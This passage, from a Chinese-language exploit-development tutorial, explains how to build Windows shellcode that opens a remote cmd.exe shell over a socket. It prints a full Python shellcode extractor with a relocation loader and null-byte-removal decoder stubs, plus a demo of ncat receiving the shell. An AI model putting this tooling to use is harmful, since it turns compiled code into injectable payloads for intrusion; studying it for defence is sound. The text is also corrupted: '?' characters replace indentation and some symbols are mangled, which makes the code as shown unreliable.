的進程, 4.將套接字附加到進程的標準輸入,標準輸出以及標準錯誤輸出, 5.等待進程被終止, 6.當進程已經終止時,則終止當前線程。
第3點與第4點同時進行,第4點調用了CreateProcess
, 攻擊者可以連接到端口123上進行監聽,一旦被成功連接,就可以通過套接字(socket
),即TCP
連接,與運行在遠程機器中的cmd.exe
進行交互。
安裝ncat
,運行cmd并在命令行上輸入:
ncat -lvp 123
此時將會在端口123上監聽.
接著回到Visual Studio 2013
,選擇Release
,搭建項目并運行它。再回到ncat
,你將觀察到如下:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm>ncat -lvp 123
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>
現在可以執行任意命令了。退出則輸入exi
t。
得益于linker
的選項
Function Order: function_order.txt
function_order.txt
中的第一行僅有一行存在?entryPoint@@YAHXZ
字符串,函數?entryPoint
將首先被定位在shellcode
中。
在源碼中,linker
決定了函數的順序,因此我們可在任意函數前放入entryPoint
?。main
函數在源碼中的最后部分,因此它會在shellcode
的結尾處被鏈接。當描述映射文件時,我們將了解到這是如何實現的。
現在,含有shellcode
的執行體已經準備就緒,我們需要一種提取并修復shellcode
的方法。這并不容易,我已經編寫了Python
腳本來實現:
1.提取shellcode
2.處理字符串的重定位信息
3.通過移除null
字節修復shellcode
使用?PyCharm
?(下載地址).
該腳本只有392行,但是它有些復雜,因此我將對其進行解釋: 代碼如下:
# Shellcode extractor by Massimiliano Tomassoli (2015)
?
import sys
import os
import datetime
import pefile
?
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
?
?
def dword_to_bytes(value):
????return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]
?
?
def bytes_to_dword(bytes):
????return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \
?????????? ((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)
?
?
def get_cstring(data, offset):
????'''
????Extracts a C string (i.e. null-terminated string) from data starting from offset.
????'''
????pos = data.find('\0', offset)
????if pos == -1:
????????return None
????return data[offset:pos+1]
?
?
def get_shellcode_len(map_file):
????'''
????Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
????'''
????try:
????????with open(map_file, 'r') as f:
????????????lib_object = None
????????????shellcode_len = None
????????????for line in f:
????????????????parts = line.split()
????????????????if lib_object is not None:
????????????????????if parts[-1] == lib_object:
????????????????????????raise Exception('_main is not the last function of %s' % lib_object)
????????????????????else:
????????????????????????break
????????????????elif (len(parts) > 2 and parts[1] == '_main'):
????????????????????# Format:
????????????????????# 0001:00000274??_main?? 00401274 f?? shellcode.obj
????????????????????shellcode_len = int(parts[0].split(':')[1], 16)
????????????????????lib_object = parts[-1]
?
????????????if shellcode_len is None:
????????????????raise Exception('Cannot determine shellcode length')
????except IOError:
????????print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
????????return None
????except Exception as e:
????????print('[!] get_shellcode_len: %s' % e.message)
????????return None
?
????return shellcode_len
?
?
def get_shellcode_and_relocs(exe_file, shellcode_len):
????'''
????Extracts the shellcode from the .text section of the file exe_file and the string
????relocations.
????Returns the triple (shellcode, relocs, addr_to_strings).
????'''
????try:
????????# Extracts the shellcode.
????????pe = pefile.PE(exe_file)
????????shellcode = None
????????rdata = None
????????for s in pe.sections:
????????????if s.Name == '.text\0\0\0':
????????????????if s.SizeOfRawData < shellcode_len:
????????????????????raise Exception('.text section too small')
????????????????shellcode_start = s.VirtualAddress
????????????????shellcode_end = shellcode_start + shellcode_len
????????????????shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
????????????elif s.Name == '.rdata\0\0':
????????????????rdata_start = s.VirtualAddress
????????????????rdata_end = rdata_start + s.Misc_VirtualSize
????????????????rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
?
????????if shellcode is None:
????????????raise Exception('.text section not found')
????????if rdata is None:
????????????raise Exception('.rdata section not found')
?
????????# Extracts the relocations for the shellcode and the referenced strings in .rdata.
????????relocs = []
????????addr_to_strings = {}
????????for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
????????????for entry in rel_data.entries[:-1]:???????? # the last element's rvs is the base_rva (why?)
????????????????if shellcode_start <= entry.rva < shellcode_end:
????????????????????# The relocation location is inside the shellcode.
????????????????????relocs.append(entry.rva - shellcode_start)??????# offset relative to the start of shellcode
????????????????????string_va = pe.get_dword_at_rva(entry.rva)
????????????????????string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
????????????????????if string_rva < rdata_start or string_rva >= rdata_end:
????????????????????????raise Exception('shellcode references a section other than .rdata')
????????????????????str = get_cstring(rdata, string_rva - rdata_start)
????????????????????if str is None:
????????????????????????raise Exception('Cannot extract string from .rdata')
????????????????????addr_to_strings[string_va] = str
?
????????return (shellcode, relocs, addr_to_strings)
?
????except WindowsError:
????????print('[!] get_shellcode: Cannot open "%s"' % exe_file)
????????return None
????except Exception as e:
????????print('[!] get_shellcode: %s' % e.message)
????????return None
?
?
def dword_to_string(dword):
????return ''.join([chr(x) for x in dword_to_bytes(dword)])
?
?
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
????if len(relocs) == 0:
????????return shellcode????????????????# there are no relocations
?
????# The format of the new shellcode is:
????#?????? call????here
????#?? here:
????#?????? ...
????#?? shellcode_start:
????#?????? <shellcode>???????? (contains offsets to strX (offset are from "here" label))
????#?? relocs:
????#?????? off1|off2|...?????? (offsets to relocations (offset are from "here" label))
????#?????? str1|str2|...
?
????delta = 21??????????????????????????????????????# shellcode_start - here
?
????# Builds the first part (up to and not including the shellcode).
????x = dword_to_bytes(delta + len(shellcode))
????y = dword_to_bytes(len(relocs))
????code = [
????????0xE8, 0x00, 0x00, 0x00, 0x00,?????????????? #?? CALL here
????????????????????????????????????????????????????# here:
????????0x5E,?????????????????????????????????????? #?? POP ESI
????????0x8B, 0xFE,???????????????????????????????? #?? MOV EDI, ESI
????????0x81, 0xC6, x[0], x[1], x[2], x[3],???????? #?? ADD ESI, shellcode_start + len(shellcode) - here
????????0xB9, y[0], y[1], y[2], y[3],?????????????? #?? MOV ECX, len(relocs)
????????0xFC,?????????????????????????????????????? #?? CLD
????????????????????????????????????????????????????# again:
????????0xAD,?????????????????????????????????????? #?? LODSD
????????0x01, 0x3C, 0x07,?????????????????????????? #?? ADD [EDI+EAX], EDI
????????0xE2, 0xFA??????????????????????????????????#?? LOOP again
????????????????????????????????????????????????????# shellcode_start:
????]
?
????# Builds the final part (offX and strX).
????offset = delta + len(shellcode) + len(relocs) * 4?????????? # offset from "here" label
????final_part = [dword_to_string(r + delta) for r in relocs]
????addr_to_offset = {}
????for addr in addr_to_strings.keys():
????????str = addr_to_strings[addr]
????????final_part.append(str)
????????addr_to_offset[addr] = offset
????????offset += len(str)
?
????# Fixes the shellcode so that the pointers referenced by relocs point to the
????# string in the final part.
????byte_shellcode = [ord(c) for c in shellcode]
????for off in relocs:
????????addr = bytes_to_dword(byte_shellcode[off:off+4])
????????byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
?
????return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
?
?
def dump_shellcode(shellcode):
????'''
????Prints shellcode in C format ('\x12\x23...')
????'''
????shellcode_len = len(shellcode)
????sc_array = []
????bytes_per_row = 16
????for i in range(shellcode_len):
????????pos = i % bytes_per_row
????????str = ''
????????if pos == 0:
????????????str += '"'
????????str += '\\x%02x' % ord(shellcode[i])
????????if i == shellcode_len - 1:
????????????str += '";\n'
????????elif pos == bytes_per_row - 1:
????????????str += '"\n'
????????sc_array.append(str)
????shellcode_str = ''.join(sc_array)
????print(shellcode_str)
?
?
def get_xor_values(value):
????'''
????Finds x and y such that:
????1) x xor y == value
????2) x and y doesn't contain null bytes
????Returns x and y as arrays of bytes starting from the lowest significant byte.
????'''
?
????# Finds a non-null missing bytes.
????bytes = dword_to_bytes(value)
????missing_byte = [b for b in range(1, 256) if b not in bytes][0]
?
????xor1 = [b ^ missing_byte for b in bytes]
????xor2 = [missing_byte] * 4
????return (xor1, xor2)
?
?
def get_fixed_shellcode_single_block(shellcode):
????'''
????Returns a version of shellcode without null bytes or None if the
????shellcode can't be fixed.
????If this function fails, use get_fixed_shellcode().
????'''
?
????# Finds one non-null byte not present, if any.
????bytes = set([ord(c) for c in shellcode])
????missing_bytes = [b for b in range(1, 256) if b not in bytes]
????if len(missing_bytes) == 0:
????????return None???????????????????????????? # shellcode can't be fixed
????missing_byte = missing_bytes[0]
?
????(xor1, xor2) = get_xor_values(len(shellcode))
?
????code = [
????????0xE8, 0xFF, 0xFF, 0xFF, 0xFF,?????????????????????? #?? CALL $ + 4
????????????????????????????????????????????????????????????# here:
????????0xC0,?????????????????????????????????????????????? #?? (FF)C0 = INC EAX
????????0x5F,?????????????????????????????????????????????? #?? POP EDI
????????0xB9, xor1[0], xor1[1], xor1[2], xor1[3],?????????? #?? MOV ECX, <xor value 1 for shellcode len>
????????0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],???? #?? XOR ECX, <xor value 2 for shellcode len>
????????0x83, 0xC7, 29,???????????????????????????????????? #?? ADD EDI, shellcode_begin - here
????????0x33, 0xF6,???????????????????????????????????????? #?? XOR ESI, ESI
????????0xFC,?????????????????????????????????????????????? #?? CLD
????????????????????????????????????????????????????????????# loop1:
????????0x8A, 0x07,???????????????????????????????????????? #?? MOV AL, BYTE PTR [EDI]
????????0x3C, missing_byte,???????????????????????????????? #?? CMP AL, <missing byte>
????????0x0F, 0x44, 0xC6,?????????????????????????????????? #?? CMOVE EAX, ESI
????????0xAA,?????????????????????????????????????????????? #?? STOSB
????????0xE2, 0xF6??????????????????????????????????????????#?? LOOP loop1
????????????????????????????????????????????????????????????# shellcode_begin:
????]
?
????return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
?
?
def get_fixed_shellcode(shellcode):
????'''
????Returns a version of shellcode without null bytes. This version divides
????the shellcode into multiple blocks and should be used only if
????get_fixed_shellcode_single_block() doesn't work with this shellcode.
????'''
?
????# The format of bytes_blocks is
????#?? [missing_byte1, number_of_blocks1,
????#????missing_byte2, number_of_blocks2, ...]
????# where missing_byteX is the value used to overwrite the null bytes in the
????# shellcode, while number_of_blocksX is the number of 254-byte blocks where
????# to use the corresponding missing_byteX.
????bytes_blocks = []
????shellcode_len = len(shellcode)
????i = 0
????while i < shellcode_len:
????????num_blocks = 0
????????missing_bytes = list(range(1, 256))
?
????????# Tries to find as many 254-byte contiguous blocks as possible which misses at
????????# least one non-null value. Note that a single 254-byte block always misses at
????????# least one non-null value.
????????while True:
????????????if i >= shellcode_len or num_blocks == 255:
????????????????bytes_blocks += [missing_bytes[0], num_blocks]
????????????????break
????????????bytes = set([ord(c) for c in shellcode[i:i+254]])
????????????new_missing_bytes = [b for b in missing_bytes if b not in bytes]
????????????if len(new_missing_bytes) != 0:???????? # new block added
????????????????missing_bytes = new_missing_bytes
????????????????num_blocks += 1
????????????????i += 254
????????????else:
????????????????bytes += [missing_bytes[0], num_blocks]
????????????????break
?
????if len(bytes_blocks) > 0x7f - 5:
????????# Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
????????return None
?
????(xor1, xor2) = get_xor_values(len(shellcode))
?
????code = ([
????????0xEB, len(bytes_blocks)] +??????????????????????????#?? JMP SHORT skip_bytes
????????????????????????????????????????????????????????????# bytes:
????????bytes_blocks + [????????????????????????????????????#?? ...
????????????????????????????????????????????????????????????# skip_bytes:
????????0xE8, 0xFF, 0xFF, 0xFF, 0xFF,?????????????????????? #?? CALL $ + 4
????????????????????????????????????????????????????????????# here:
????????0xC0,?????????????????????????????????????????????? #?? (FF)C0 = INC EAX
????????0x5F,?????????????????????????????????????????????? #?? POP EDI
????????0xB9, xor1[0], xor1[1], xor1[2], xor1[3],?????????? #?? MOV ECX, <xor value 1 for shellcode len>
????????0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],???? #?? XOR ECX, <xor value 2 for shellcode len>
????????0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,????????#?? LEA EBX, [EDI + (bytes - here)]
????????0x83, 0xC7, 0x30,?????????????????????????????????? #?? ADD EDI, shellcode_begin - here
????????????????????????????????????????????????????????????# loop1:
????????0xB0, 0xFE,???????????????????????????????????????? #?? MOV AL, 0FEh
????????0xF6, 0x63, 0x01,?????????????????????????????????? #?? MUL AL, BYTE PTR [EBX+1]
????????0x0F, 0xB7, 0xD0,?????????????????????????????????? #?? MOVZX EDX, AX
????????0x33, 0xF6,???????????????????????????????????????? #?? XOR ESI, ESI
????????0xFC,?????????????????????????????????????????????? #?? CLD
????????????????????????????????????????????????????????????# loop2:
????????0x8A, 0x07,???????????????????????????????????????? #?? MOV AL, BYTE PTR [EDI]
????????0x3A, 0x03,???????????????????????????????????????? #?? CMP AL, BYTE PTR [EBX]
????????0x0F, 0x44, 0xC6,?????????????????????????????????? #?? CMOVE EAX, ESI
????????0xAA,?????????????????????????????????????????????? #?? STOSB
????????0x49,?????????????????????????????????????????????? #?? DEC ECX
????????0x74, 0x07,???????????????????????????????????????? #?? JE shellcode_begin
????????0x4A,?????????????????????????????????????????????? #?? DEC EDX
????????0x75, 0xF2,???????????????????????????????????????? #?? JNE loop2
????????0x43,?????????????????????????????????????????????? #?? INC EBX
????????0x43,?????????????????????????????????????????????? #?? INC EBX
????????0xEB, 0xE3??????????????????????????????????????????#?? JMP loop1
????????????????????????????????????????????????????????????# shellcode_begin:
????])
?
????new_shellcode_pieces = []
????pos = 0
????for i in range(len(bytes_blocks) / 2):
????????missing_char = chr(bytes_blocks[i*2])
????????num_bytes = 254 * bytes_blocks[i*2 + 1]
????????new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
????????pos += num_bytes
?
????return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
?
?
def main():
????print("Shellcode Extractor by %s (%d)\n" % (author, year))
?
????if len(sys.argv) != 3:
????????print('Usage:\n' +
??????????????'??%s <exe file> <map file>\n' % os.path.basename(sys.argv[0]))
????????return
?
????exe_file = sys.argv[1]
????map_file = sys.argv[2]
?
????print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
????shellcode_len = get_shellcode_len(map_file)
????if shellcode_len is None:
????????return
????print('shellcode length: %d' % shellcode_len)
?
????print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
????result = get_shellcode_and_relocs(exe_file, shellcode_len)
????if result is None:
????????return
????(shellcode, relocs, addr_to_strings) = result
?
????if len(relocs) != 0:
????????print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
????????print('Strings:')
????????for s in addr_to_strings.values():
????????????print('??' + s[:-1])
????????print('')
????????shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
????else:
????????print('No relocations found')
?
????if shellcode.find('\0') == -1:
????????print('Unbelievable: the shellcode does not need to be fixed!')
????????fixed_shellcode = shellcode
????else:
????????# shellcode contains null bytes and needs to be fixed.
????????print('Fixing the shellcode...')
????????fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
????????if fixed_shellcode is None:???????????? # if shellcode wasn't fixed...
????????????fixed_shellcode = get_fixed_shellcode(shellcode)
????????????if fixed_shellcode is None:
????????????????print('[!] Cannot fix the shellcode')
?
????print('final shellcode length: %d\n' % len(fixed_shellcode))
????print('char shellcode[] = ')
????dump_shellcode(fixed_shellcode)
?
?
main()
shellcode
長度在linker
中使用如下選項來生成映射文件:
告訴linker
生成含有EXE結構的映射文件。
* Map File Name: mapfile
該映射文件主要用于判斷shellcode
長度。
這里是映射文件的相關部分:
shellcode
Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)
Preferred load address is 00400000
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
0002:00000000 00000094H .idata$5 DATA
0002:00000094 00000004H .CRT$XCA DATA
0002:00000098 00000004H .CRT$XCAA DATA
0002:0000009c 00000004H .CRT$XCZ DATA
0002:000000a0 00000004H .CRT$XIA DATA
0002:000000a4 00000004H .CRT$XIAA DATA
0002:000000a8 00000004H .CRT$XIC DATA
0002:000000ac 00000004H .CRT$XIY DATA
0002:000000b0 00000004H .CRT$XIZ DATA
0002:000000c0 000000a8H .rdata DATA
0002:00000168 00000084H .rdata$debug DATA
0002:000001f0 00000004H .rdata$sxdata DATA
0002:000001f4 00000004H .rtc$IAA DATA
0002:000001f8 00000004H .rtc$IZZ DATA
0002:000001fc 00000004H .rtc$TAA DATA
0002:00000200 00000004H .rtc$TZZ DATA
0002:00000208 0000005cH .xdata$x DATA
0002:00000264 00000000H .edata DATA
0002:00000264 00000028H .idata$2 DATA
0002:0000028c 00000014H .idata$3 DATA
0002:000002a0 00000094H .idata$4 DATA
0002:00000334 0000027eH .idata$6 DATA
0003:00000000 00000020H .data DATA
0003:00000020 00000364H .bss DATA
0004:00000000 00000058H .rsrc$01 DATA
0004:00000060 00000180H .rsrc$02 DATA
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___guard_fids_table 00000000 <absolute>
0000:00000000 ___guard_fids_count 00000000 <absolute>
0000:00000000 ___guard_flags 00000000 <absolute>
0000:00000001 ___safe_se_handler_count 00000001 <absolute>
0000:00000000 ___ImageBase 00400000 <linker-defined>
0001:00000000 ?entryPoint@@YAHXZ 00401000 f shellcode.obj
0001:000001a1 ?getHash@@[email protected] 004011a1 f shellcode.obj
0001:000001be ?getProcAddrByHash@@[email protected] 004011be f shellcode.obj
0001:00000266 _main 00401266 f shellcode.obj
0001:000004d4 _mainCRTStartup 004014d4 f MSVCRT:crtexe.obj
0001:000004de ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f MSVCRT:unhandld.obj
0001:0000051f ___CxxSetUnhandledExceptionFilter 0040151f f MSVCRT:unhandld.obj
0001:0000052e __XcptFilter 0040152e f MSVCRT:MSVCR120.dll
<snip>
從映射文件的開頭得知,section 1
為.text
節,它含有代碼:
Start Length Name Class
0001:00000000 00000a9cH .text$mn CODE
第二部分表明?.text
節起始于??entryPoint@@YAHXZ
,這是我們的entryPoint
函數,最后一個函數是函數main
(這里被稱作_main
)。因為main
函數在偏移0x266
上,并且entryPoint
函數位于``,我們的shellcode
起始于.text
節的開頭,并且長度為0x266
字節。
使用python實現:
def get_shellcode_len(map_file):
????'''
????Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
????'''
????try:
????????with open(map_file, 'r') as f:
????????????lib_object = None
????????????shellcode_len = None
????????????for line in f:
????????????????parts = line.split()
????????????????if lib_object is not None:
????????????????????if parts[-1] == lib_object:
????????????????????????raise Exception('_main is not the last function of %s' % lib_object)
????????????????????else:
????????????????????????break
????????????????elif (len(parts) > 2 and parts[1] == '_main'):
????????????????????# Format:
????????????????????# 0001:00000274??_main?? 00401274 f?? shellcode.obj
????????????????????shellcode_len = int(parts[0].split(':')[1], 16)
????????????????????lib_object = parts[-1]
?
????????????if shellcode_len is None:
????????????????raise Exception('Cannot determine shellcode length')
????except IOError:
????????print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
????????return None
????except Exception as e:
????????print('[!] get_shellcode_len: %s' % e.message)
????????return None
?
????return shellcode_len
這部分非常容易理解,我們知道shellcode
的長度并且知道shellcode
被定位在.text
節的起始部分。代碼如下:
def get_shellcode_and_relocs(exe_file, shellcode_len):
????'''
????Extracts the shellcode from the .text section of the file exe_file and the string
????relocations.
????Returns the triple (shellcode, relocs, addr_to_strings).
????'''
????try:
????????# Extracts the shellcode.
????????pe = pefile.PE(exe_file)
????????shellcode = None
????????rdata = None
????????for s in pe.sections:
????????????if s.Name == '.text\0\0\0':
????????????????if s.SizeOfRawData < shellcode_len:
????????????????????raise Exception('.text section too small')
????????????????shellcode_start = s.VirtualAddress
????????????????shellcode_end = shellcode_start + shellcode_len
????????????????shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
????????????elif s.Name == '.rdata\0\0':
????????????????<snip>
?
????????if shellcode is None:
????????????raise Exception('.text section not found')
????????if rdata is None:
????????????raise Exception('.rdata section not found')
<snip>
我使用了模塊pefile
?(下載地址). 相關的部分是if
語句體。
正如之前所說的,c/c++
代碼可能含有字符串。例如,我們的shellcode
含有如下代碼:
My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
字符串cmd.exe
被定位在.rdata
節中,該節是一個只讀的含有數據(已被初始化)的節。該代碼對字符串進行絕對地址引用。
00241152 50 push eax
00241153 8D 44 24 5C lea eax,[esp+5Ch]
00241157 C7 84 24 88 00 00 00 00 01 00 00 mov dword ptr [esp+88h],100h
00241162 50 push eax
00241163 52 push edx
00241164 52 push edx
00241165 52 push edx
00241166 6A 01 push 1
00241168 52 push edx
00241169 52 push edx
0024116A 68 18 21 24 00 push 242118h <------------------------
0024116F 52 push edx
00241170 89 B4 24 C0 00 00 00 mov dword ptr [esp+0C0h],esi
00241177 89 B4 24 BC 00 00 00 mov dword ptr [esp+0BCh],esi
0024117E 89 B4 24 B8 00 00 00 mov dword ptr [esp+0B8h],esi
00241185 FF 54 24 34 call dword ptr [esp+34h]
正如我們觀察到的,cmd.exe
的絕對地址是242118h
。注意該地址是push指令的一部分并且該絕對地址被定位在了24116Bh
。如果我們用某個文件編輯器檢測文件cmd.exe
,我們看到如下:
56A: 68 18 21 40 00 push 000402118h
在文件中56Ah
是偏移量。因為image base
的偏移量為400000h
,所以對應的虛擬地址是40116A
。在內存中,這應該是執行體被加載的首選的(preferred
)地址。執行體在指令中的絕對地址是402118h
, 如果執行體在首選的基地址上被加載,即表明已正確執行。然而,如果執行體在不同的基地址上被加載,那么需要修復指令。Windows如何知道執行體含有需要被修復的地址?PE文件含有一個相對目錄(Relocation Directory
),在我們的案例中它指向.reloc
節。該相對目錄中包含所有需要被修復的位置上的RVA
。
可以檢查該目錄并尋找如下所描述的位置上的地址
1.在shellcode
中含有的(即從.text:0
到末尾,main
函數除外), 2.含有.rdata
中的數據指針。
例如,在其他地址中,Relocation Directory
將包含位于指令push 402118h
的后四個字節的地址40116Bh
。這些字節構成了地址402118h
,它指向在.rdata
中的字符串cmd.exe
(起始于地址402000h
)。
觀察函數get_shellcode_and_reloc
s。在第一部分我們提取.rdata
節:
def get_shellcode_and_relocs(exe_file, shellcode_len):
????'''
????Extracts the shellcode from the .text section of the file exe_file and the string
????relocations.
????Returns the triple (shellcode, relocs, addr_to_strings).
????'''
????try:
????????# Extracts the shellcode.
????????pe = pefile.PE(exe_file)
????????shellcode = None
????????rdata = None
????????for s in pe.sections:
????????????if s.Name == '.text\0\0\0':
????????????????<snip>
????????????elif s.Name == '.rdata\0\0':
????????????????rdata_start = s.VirtualAddress
????????????????rdata_end = rdata_start + s.Misc_VirtualSize
????????????????rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
?
????????if shellcode is None:
????????????raise Exception('.text section not found')
????????if rdata is None:
????????????raise Exception('.rdata section not found')
相關部分是elif
的語句體。
接著分析重定位部分,在我們的shellcode
中尋找地址并從.rdata
中提取被那些地址引用的以null
結尾的字符串。
正如我們已經說過的,我們只關注shellcode
中的地址。這里是函數get_shellcode_and_relocs
的相關部分:
# Extracts the relocations for the shellcode and the referenced strings in .rdata.
????????relocs = []
????????addr_to_strings = {}
????????for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
????????????for entry in rel_data.entries[:-1]:???????? # the last element's rvs is the base_rva (why?)
????????????????if shellcode_start <= entry.rva < shellcode_end:
????????????????????# The relocation location is inside the shellcode.
????????????????????relocs.append(entry.rva - shellcode_start)??????# offset relative to the start of shellcode
????????????????????string_va = pe.get_dword_at_rva(entry.rva)
????????????????????string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
????????????????????if string_rva < rdata_start or string_rva >= rdata_end:
????????????????????????raise Exception('shellcode references a section other than .rdata')
????????????????????str = get_cstring(rdata, string_rva - rdata_start)
????????????????????if str is None:
????????????????????????raise Exception('Cannot extract string from .rdata')
????????????????????addr_to_strings[string_va] = str
?
????????return (shellcode, relocs, addr_to_strings)
pe.DIRECTORY_ENTRY_BASERELOC
是一個數據結構表,它含有一個重定位表的入口。首先檢查當前重定位信息是否在shellcode
中。如果是,則進行如下操作:
1.將與shellcode
的起始地址有關的重定位信息的偏移追加到?relocs
;
2.從shellcode
中提取在已經發現的偏移上的DWORD
值,并在.rdata
中檢查該指向數據的DWORD
值;
3.從.rdata
中提取起始于我們在(2)中發現的以null
結尾的字符串;
4.將字符串添加到addr_to_strings
。
注意:
i.relocs
含有在shellcode
中重定位信息的偏移,即在需要被修復的shellcode
中的DWORD
值的偏移,以便它們指向字符串;
ii.addr_to_strings
相當于一個與在(2)中被發現的字符串所在地址相關聯的字典。
方法是將被包含在addr_to_strings
中的字符串添加到我們shellcode
的尾部,然后讓我們的代碼引用那些字符串。
不幸的是,代碼->字符串的鏈接過程必須在運行時完成,因為我們不知道shellcode
的起始地址,那么我們需要準備一個在運行時修復shellcode
的“loader
”。這是轉化后的shellcode
結構:
OffX
是指向原shellcode
中重定位信息的DWORD
值,它們需要被修復。loader
將修復這些地址來讓它們指向正確的字符串strX
。 試圖理解以下代碼來了解實現原理:
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
????if len(relocs) == 0:
????????return shellcode????????????????# there are no relocations
?
????# The format of the new shellcode is:
????#?????? call????here
????#?? here:
????#?????? ...
????#?? shellcode_start:
????#?????? <shellcode>???????? (contains offsets to strX (offset are from "here" label))
????#?? relocs:
????#?????? off1|off2|...?????? (offsets to relocations (offset are from "here" label))
????#?????? str1|str2|...
?
????delta = 21??????????????????????????????????????# shellcode_start - here
?
????# Builds the first part (up to and not including the shellcode).
????x = dword_to_bytes(delta + len(shellcode))
????y = dword_to_bytes(len(relocs))
????code = [
????????0xE8, 0x00, 0x00, 0x00, 0x00,?????????????? #?? CALL here
????????????????????????????????????????????????????# here:
????????0x5E,?????????????????????????????????????? #?? POP ESI
????????0x8B, 0xFE,???????????????????????????????? #?? MOV EDI, ESI
????????0x81, 0xC6, x[0], x[1], x[2], x[3],???????? #?? ADD ESI, shellcode_start + len(shellcode) - here
????????0xB9, y[0], y[1], y[2], y[3],?????????????? #?? MOV ECX, len(relocs)
????????0xFC,?????????????????????????????????????? #?? CLD
????????????????????????????????????????????????????# again:
????????0xAD,?????????????????????????????????????? #?? LODSD
????????0x01, 0x3C, 0x07,?????????????????????????? #?? ADD [EDI+EAX], EDI
????????0xE2, 0xFA??????????????????????????????????#?? LOOP again
????????????????????????????????????????????????????# shellcode_start:
????]
?
????# Builds the final part (offX and strX).
????offset = delta + len(shellcode) + len(relocs) * 4?????????? # offset from "here" label
????final_part = [dword_to_string(r + delta) for r in relocs]
????addr_to_offset = {}
????for addr in addr_to_strings.keys():
????????str = addr_to_strings[addr]
????????final_part.append(str)
????????addr_to_offset[addr] = offset
????????offset += len(str)
?
????# Fixes the shellcode so that the pointers referenced by relocs point to the
????# string in the final part.
????byte_shellcode = [ord(c) for c in shellcode]
????for off in relocs:
????????addr = bytes_to_dword(byte_shellcode[off:off+4])
????????byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
?
????return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
觀察loader
:
CALL here?????????????????? ; PUSH EIP+5; JMP here
??here:
????POP ESI???????????????????? ; ESI = address of "here"
????MOV EDI, ESI????????????????; EDI = address of "here"
????ADD ESI, shellcode_start + len(shellcode) - here????????; ESI = address of off1
????MOV ECX, len(relocs)????????; ECX = number of locations to fix
????CLD???????????????????????? ; tells LODSD to go forwards
??again:
????LODSD?????????????????????? ; EAX = offX; ESI += 4
????ADD [EDI+EAX], EDI??????????; fixes location within shellcode
????LOOP again??????????????????; DEC ECX; if ECX > 0 then JMP again
??shellcode_start:
????<shellcode>
??relocs:
????off1|off2|...
????str1|str2|...
首先,使用CALL
來獲取here
在內存中的絕對地址。loader
使用該信息對原shellcode
中的偏移進行修復。ESI
指向off1
,因此使用LODSD
來逐一讀取偏移。該指令
ADD [EDI+EAX], EDI
用于修復shellcode
中的地址。EAX
是當前的offX
,offX
是與here
相關的地址偏移?。這意味著EDI+EAX
是那個位置上的絕對地址。DWORD
值在那個地址上包含相對于here
的字符串偏移。通過將EDI
添加到那個DWORD
值,我們將該DWORD
值轉換為該字符串的絕對地址。當loader
已經執行完畢時,shellcode
已被修復,同時也被成功執行。
總結,如果存在重定位信息,那么會調用add_loader_to_shellcode
。可在main
函數中觀察到:
<snip>
????if len(relocs) != 0:
????????print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
????????print('Strings:')
????????for s in addr_to_strings.values():
????????????print('??' + s[:-1])
????????print('')
????????shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
????else:
????????print('No relocations found')
<snip>
shellcode
中移除null
字節 (I)編寫如下兩個函數來刪去null
字節。
1.get_fixed_shellcode_single_block
2.get_fixed_shellcode
可以試試使用第一個函數生成更短的代碼,但是這樣做不一定可被執行。但是如果使用第二個函數生成更長的代碼,則必定可被執行。
首先觀察get_fixed_shellcode_single_block
函數,該函數的定義如下:
def get_fixed_shellcode_single_block(shellcode):
????'''
????Returns a version of shellcode without null bytes or None if the
????shellcode can't be fixed.
????If this function fails, use get_fixed_shellcode().
????'''
?
